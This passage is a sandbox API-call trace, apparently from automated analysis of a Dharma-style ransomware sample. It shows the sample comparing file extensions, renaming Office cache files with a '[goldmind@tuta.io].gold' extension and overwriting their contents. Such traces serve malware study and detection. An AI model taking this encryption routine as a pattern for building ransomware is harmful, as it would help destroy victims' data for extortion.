(lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.037] lstrlenW (lpString=".jpg") returned 4 [0042.037] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0042.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.037] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.037] lstrlenW (lpString=".doc") returned 4 [0042.037] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0042.037] lstrlenW (lpString=".docx") returned 5 [0042.037] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0042.037] lstrlenW (lpString=".pdf") returned 4 [0042.037] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0042.037] lstrlenW (lpString=".xls") returned 4 [0042.037] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0042.038] lstrlenW (lpString=".xlsx") returned 5 [0042.038] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0042.038] lstrlenW (lpString=".ppt") returned 4 [0042.038] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0042.038] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.038] lstrlenW (lpString=".zip") returned 4 [0042.038] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0042.038] lstrlenW (lpString=".rar") returned 4 [0042.038] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0042.038] lstrlenW (lpString=".bz2") returned 4 [0042.038] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0042.038] lstrlenW (lpString=".7z") returned 3 [0042.038] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0042.038] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.038] lstrlenW (lpString=".dbf") returned 4 [0042.038] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0042.038] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.038] lstrlenW (lpString=".1cd") returned 4 [0042.038] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0042.038] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0042.038] lstrlenW (lpString=".jpg") returned 4 [0042.038] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0042.038] lstrcmpiW (lpString1=".cab", lpString2=".gold") returned -1 [0042.038] lstrlenW (lpString="OnoteLR.cab") returned 11 [0042.038] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0042.253] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=17456632) returned 1 [0042.253] CloseHandle (hObject=0x20c) returned 1 [0042.253] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab")) returned 0x2020 [0042.253] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.253] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0042.254] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0042.254] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc6c | out: lpNewFilePointer=0x0) returned 1 [0042.254] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.254] ReadFile (in: hFile=0x20c, lpBuffer=0x3640058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x3640058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.256] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.256] ReadFile (in: hFile=0x20c, lpBuffer=0x3680058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x3680058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.260] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b6fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0042.260] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.261] ReadFile (in: hFile=0x20c, lpBuffer=0x36c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x36c0058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.279] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.279] WriteFile (in: hFile=0x20c, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2b6fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0042.292] SetEndOfFile (hFile=0x20c) returned 1 [0042.292] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f34090 [0042.294] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.294] WriteFile (in: hFile=0x20c, lpBuffer=0x3f34090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34090*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.295] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.295] WriteFile (in: hFile=0x20c, lpBuffer=0x3f34090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34090*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.296] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.296] WriteFile (in: hFile=0x20c, lpBuffer=0x3f34090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34090*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.297] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f34090 | out: hHeap=0x880000) returned 1 [0042.297] CloseHandle (hObject=0x20c) returned 1 [0042.297] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0042.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0042.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0042.298] lstrlenW (lpString=".doc") returned 4 [0042.298] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0042.298] lstrlenW (lpString=".docx") returned 5 [0042.298] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0042.298] lstrlenW (lpString=".pdf") returned 4 [0042.298] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0042.298] lstrlenW (lpString=".xls") returned 4 [0042.298] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0042.298] lstrlenW (lpString=".xlsx") returned 5 [0042.298] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0042.298] lstrlenW (lpString=".ppt") returned 4 [0042.298] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0042.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0042.298] lstrlenW (lpString=".zip") returned 4 [0042.298] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0042.298] lstrlenW (lpString=".rar") returned 4 [0042.298] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0042.298] lstrlenW (lpString=".bz2") returned 4 [0042.298] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0042.298] lstrlenW (lpString=".7z") returned 3 [0042.298] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0042.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0042.298] lstrlenW (lpString=".dbf") returned 4 [0042.298] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0042.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0042.298] lstrlenW (lpString=".1cd") returned 4 [0042.298] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0042.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0042.298] lstrlenW (lpString=".jpg") returned 4 [0042.298] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0042.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0042.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0042.298] lstrlenW (lpString=".doc") returned 4 [0042.298] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0042.298] lstrlenW (lpString=".docx") returned 5 [0042.299] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0042.299] lstrlenW (lpString=".pdf") returned 4 [0042.299] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0042.299] lstrlenW (lpString=".xls") returned 4 [0042.299] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0042.299] lstrlenW (lpString=".xlsx") returned 5 [0042.299] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0042.299] lstrlenW (lpString=".ppt") returned 4 [0042.299] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0042.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0042.299] lstrlenW (lpString=".zip") returned 4 [0042.299] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0042.299] lstrlenW (lpString=".rar") returned 4 [0042.299] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0042.299] lstrlenW (lpString=".bz2") returned 4 [0042.299] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0042.299] lstrlenW (lpString=".7z") returned 3 [0042.299] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0042.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0042.299] lstrlenW (lpString=".dbf") returned 4 [0042.299] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0042.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0042.299] lstrlenW (lpString=".1cd") returned 4 [0042.299] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0042.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0042.299] lstrlenW (lpString=".jpg") returned 4 [0042.299] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0042.299] lstrcmpiW (lpString1=".msi", lpString2=".gold") returned 1 [0042.299] lstrlenW (lpString="GrooveMUI.msi") returned 13 [0042.299] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0042.299] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=2507776) returned 1 [0042.299] CloseHandle (hObject=0x20c) returned 1 [0042.299] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi")) returned 0x2020 [0042.300] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.300] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0042.300] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0042.300] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc6c | out: lpNewFilePointer=0x0) returned 1 [0042.300] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.300] ReadFile (in: hFile=0x20c, lpBuffer=0x3640058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x3640058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.302] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.302] ReadFile (in: hFile=0x20c, lpBuffer=0x3680058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x3680058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.310] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b6fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0042.310] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.310] ReadFile (in: hFile=0x20c, lpBuffer=0x36c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b6fc38, lpOverlapped=0x0 | out: lpBuffer=0x36c0058*, lpNumberOfBytesRead=0x2b6fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.328] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.328] WriteFile (in: hFile=0x20c, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x2b6fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0042.342] SetEndOfFile (hFile=0x20c) returned 1 [0042.342] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f34090 [0042.342] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.342] WriteFile (in: hFile=0x20c, lpBuffer=0x3f34090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34090*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.343] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.343] WriteFile (in: hFile=0x20c, lpBuffer=0x3f34090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34090*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.628] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.628] WriteFile (in: hFile=0x20c, lpBuffer=0x3f34090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b6fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34090*, lpNumberOfBytesWritten=0x2b6fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.630] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f34090 | out: hHeap=0x880000) returned 1 [0042.747] CloseHandle (hObject=0x20c) returned 1 [0042.747] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0042.747] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0042.747] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0042.747] lstrlenW (lpString=".doc") returned 4 [0042.747] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.747] lstrlenW (lpString=".docx") returned 5 [0042.747] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0042.747] lstrlenW (lpString=".pdf") returned 4 [0042.747] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.748] lstrlenW (lpString=".xls") returned 4 [0042.748] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.748] lstrlenW (lpString=".xlsx") returned 5 [0042.748] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0042.748] lstrlenW (lpString=".ppt") returned 4 [0042.748] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.748] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0042.748] lstrlenW (lpString=".zip") returned 4 [0042.748] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.748] lstrlenW (lpString=".rar") returned 4 [0042.748] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.748] lstrlenW (lpString=".bz2") returned 4 [0042.748] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.748] lstrlenW (lpString=".7z") returned 3 [0042.748] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.748] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0042.748] lstrlenW (lpString=".dbf") returned 4 [0042.748] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.748] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0042.748] lstrlenW (lpString=".1cd") returned 4 [0042.748] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.748] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0042.748] lstrlenW (lpString=".jpg") returned 4 [0042.748] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.748] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0042.748] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0042.748] lstrlenW (lpString=".doc") returned 4 [0042.748] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.748] lstrlenW (lpString=".docx") returned 5 [0042.748] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0042.748] lstrlenW (lpString=".pdf") returned 4 [0042.748] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.748] lstrlenW (lpString=".xls") returned 4 [0042.748] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.748] lstrlenW (lpString=".xlsx") returned 5 [0042.748] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0042.748] lstrlenW (lpString=".ppt") returned 4 [0042.748] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.748] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0042.748] lstrlenW (lpString=".zip") returned 4 [0042.748] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.748] lstrlenW (lpString=".rar") returned 4 [0042.748] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.748] lstrlenW (lpString=".bz2") returned 4 [0042.748] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.749] lstrlenW (lpString=".7z") returned 3 [0042.749] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.749] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0042.749] lstrlenW (lpString=".dbf") returned 4 [0042.749] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.749] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0042.749] lstrlenW (lpString=".1cd") returned 4 [0042.749] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.749] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0042.749] lstrlenW (lpString=".jpg") returned 4 [0042.749] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.749] lstrcmpiW (lpString1=".manifest", lpString2=".gold") returned 1 [0042.749] lstrlenW (lpString="Microsoft.VC90.CRT.manifest") returned 27 [0042.749] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0042.749] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=1857) returned 1 [0042.749] CloseHandle (hObject=0x20c) returned 1 [0042.749] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 0x2020 [0042.749] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.749] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0042.749] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.750] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.750] CreateFileW (lpFileName="C:\\MSOCache\\All 